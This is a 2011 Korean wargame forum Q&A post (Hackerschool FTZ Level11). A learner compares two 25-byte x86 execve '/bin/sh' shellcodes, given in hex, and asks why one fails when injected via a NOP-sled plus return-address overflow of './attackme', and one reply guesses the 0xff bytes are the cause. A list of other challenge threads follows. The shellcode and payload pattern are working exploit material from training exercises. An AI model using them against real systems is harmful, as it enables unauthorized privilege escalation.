레벨 해킹

2844,

7/143

incaro

[문제 Level11]어떤쉘코드는되고 어떤건 안되고... 햇갈리네요..

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=3208 [복사]

________________________________________________________________________________________________________
A="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
________________________________________________________________________________________________________
B="\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
________________________________________________________________________________________________________

둘다 환경변수에 올려놓코 ./attackme $RET 하면 둘다 shell이 떨어짐니다.

근데 직접 쉘에 $(python -c 'print <NOP>*200 + <쉘코드> + <NOP>*43 + <RET>) 하면
A는 되고 B는 안되는데요. 이유가 궁금하네요...

A는 인터넷에 떠도는 25byte 쉘코드구요...
B는 여기 자료 찾아서 직접 만들어본 25byte 쉘코드 입니다.

아무래도 쉘코드에 문제가 있는듯한데...

환경변수에 올리면 떨어지고 직접 쉘에 RET주소 쓰면 안되고..이유가 궁금하네요...

Hit : 3087 Date : 2011/05/16 01:19


/x7375696e6567	ff 떄문에 그러지않을까요 어디서 ff는 null과 같이 취급한다고 들은거같은데..	2011/05/16
incaro	음 먼저 답변 감사드려요... 근데 환경변수에는 되는데 스택에 올리면 안되는 이유가 몰까요.. 모 차차 쉘코드공부하면서 알게 되기를 바랄뿐이에요 ㅎㅎ;	2011/05/17

2724

LOB FC4 타이탄 ㅠㅠ [3]

우잉22

07/17

3317

2723

webhacking.kr 21번 문제[1]

jaewonm

07/11

5836

2722

[lord of bof FC4] titan 질문있습니다!!!!!! 제발[3]

우잉22

07/04

3479

2721

level11->level12 에서 막힙니다. 하루종일 이거만 보네요.....[6]

ozdang

07/01

2331

2720

[LOB] LEVEL16 - FAKE EBP 문제 질문.[3]

incaro

06/11

2920

2719

Level 1에서 level2 권한에 대한 질문[3]

yootaeil

06/09

2914

2718

lob fc4 Enimga 너무 어려워요 ~!!!

우잉22

06/02

3099

2717

LOB 질문]] 왜! 16Byte이여야 하는가.[7]

incaro

06/01

3077

2716

webhacking.kr 소스보고나서[1]

푼수왕자

06/01

2507

2715

LOB 질문 드려요. (BASH2)[1]

incaro

05/23

3623

2714

LOB FC4가 또있나요?

chofly

05/22

2558

2713

LOB FC4 enigma 힌트 좀 주세요

우잉22

05/17

3963

[문제 Level11]어떤쉘코드는되고 어떤건 안되고... 햇갈리네요..[2]

incaro

05/16

3086

2711

도대체... Level11은 level10과 왜이렇게 지식차이가 나는거죠;[1]

darkofgy

05/15

2555

2710

LOB 시작했는데요 ...[4]

w7040

05/08

2420

2709

Level8 그냥 한번 고민했던걸 얘기해봅니다

이현배

04/29

2298

2708

레벨 5->레벨6 과정에서 suid가 해제되어있습니다..[4]

traciare

04/28

2310

2707

FC3에서 GOT오버라이팅 질문있습니다..,[2]

우잉22

04/25

3761

2706

lob fc3 fgets로 입력받는 오버플로우관련 질문있습니다.[3]

우잉22

04/14

4257

2705

ftz 를 하다가 리눅스를 깔아ㅂㅘㅅ는데 [3]

yangseungjin

04/11

2571

[1][2][3][4][5][6] 7 [8][9][10]..[143]